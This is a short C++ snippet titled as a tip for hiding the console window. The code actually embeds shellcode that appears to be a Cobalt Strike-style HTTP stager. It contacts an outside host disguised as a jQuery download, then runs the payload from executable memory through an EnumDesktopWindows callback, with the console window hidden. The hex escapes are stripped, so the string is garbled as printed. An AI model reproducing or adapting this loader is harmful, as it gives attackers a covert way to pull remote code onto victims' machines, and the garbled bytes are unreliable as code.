C++隐藏控制台窗口

#pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"" ) 

#include <Windows.h>
#include <stdio.h>
#pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"" ) 
int main()
{
    char shellcode[] = "x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx68x6ex65x74x00x68x77x69x6ex69x54x68x4cx77x26x07xffxd5xe8x00x00x00x00x31xffx57x57x57x57x57x68x3ax56x79xa7xffxd5xe9xa4x00x00x00x5bx31xc9x51x51x6ax03x51x51x68xfbx20x00x00x53x50x68x57x89x9fxc6xffxd5x50xe9x8cx00x00x00x5bx31xd2x52x68x00x32xc0x84x52x52x52x53x52x50x68xebx55x2ex3bxffxd5x89xc6x83xc3x50x68x80x33x00x00x89xe0x6ax04x50x6ax1fx56x68x75x46x9ex86xffxd5x5fx31xffx57x57x6axffx53x56x68x2dx06x18x7bxffxd5x85xc0x0fx84xcax01x00x00x31xffx85xf6x74x04x89xf9xebx09x68xaaxc5xe2x5dxffxd5x89xc1x68x45x21x5ex31xffxd5x31xffx57x6ax07x51x56x50x68xb7x57xe0x0bxffxd5xbfx00x2fx00x00x39xc7x75x07x58x50xe9x7bxffxffxffx31xffxe9x91x01x00x00xe9xc9x01x00x00xe8x6fxffxffxffx2fx6ax71x75x65x72x79x2dx33x2ex33x2ex31x2ex73x6cx69x6dx2ex6dx69x6ex2ex6ax73x00x4axc8x39x6ax7dx37x1fx21xfbxfcxb8x9bx8bxb9xfbx19x77xbfxafx27x7dx95x3ax1cxd1x92x79xe0x6ex36x2ax7bx38x34x0cx69xe1x41x92xf2x03x28x03xe8x1exa6x0cx50xc7xa8x06xeexdbx00x41x63x63x65x70x74x3ax20x74x65x78x74x2fx68x74x6dx6cx2cx61x70x70x6cx69x63x61x74x69x6fx6ex2fx78x68x74x6dx6cx2bx78x6dx6cx2cx61x70x70x6cx69x63x61x74x69x6fx6ex2fx78x6dx6cx3bx71x3dx30x2ex39x2cx2ax2fx2ax3bx71x3dx30x2ex38x0dx0ax41x63x63x65x70x74x2dx4cx61x6ex67x75x61x67x65x3ax20x65x6ex2dx55x53x2cx65x6ex3bx71x3dx30x2ex35x0dx0ax52x65x66x65x72x65x72x3ax20x68x74x74x70x3ax2fx2fx63x6fx64x65x2ex6ax71x75x65x72x79x2ex63x6fx6dx2fx0dx0ax41x63x63x65x70x74x2dx45x6ex63x6fx64x69x6ex67x3ax20x67x7ax69x70x2cx20x64x65x66x6cx61x74x65x0dx0ax55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex33x3bx20x54x72x69x64x65x6ex74x2fx37x2ex30x3bx20x72x76x3ax31x31x2ex30x29x20x6cx69x6bx65x20x47x65x63x6bx6fx0dx0ax00x84x1fxdbxd9xc7xe3x89x72x29x88xbax2bx50x8ax63xfexbbx52x16xddxdexfax8dxfex14xd0xfdxb6xd4x1cx9dx85x14xc4xb9xe6xe0xadx0cxf3x34x36x17xefx48xd7xe0x9ex6fx92x80xe8x5bx45x32x00x68xf0xb5xa2x56xffxd5x6ax40x68x00x10x00x00x68x00x00x40x00x57x68x58xa4x53xe5xffxd5x93xb9xafx0fx00x00x01xd9x51x53x89xe7x57x68x00x20x00x00x53x56x68x12x96x89xe2xffxd5x85xc0x74xc6x8bx07x01xc3x85xc0x75xe5x58xc3xe8x89xfdxffxffx63x73x2ex6ax63x79x72x73x69x72x6dx38x66x6ax72x75x64x73x77x6bx2ex78x79x7ax00x49x96x02xd2";
    HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(hAlloc, shellcode, sizeof(shellcode));
    EnumDesktopWindows(GetThreadDesktop(GetCurrentThreadId()),
        (WNDENUMPROC)hAlloc,
        (LPARAM)NULL);
}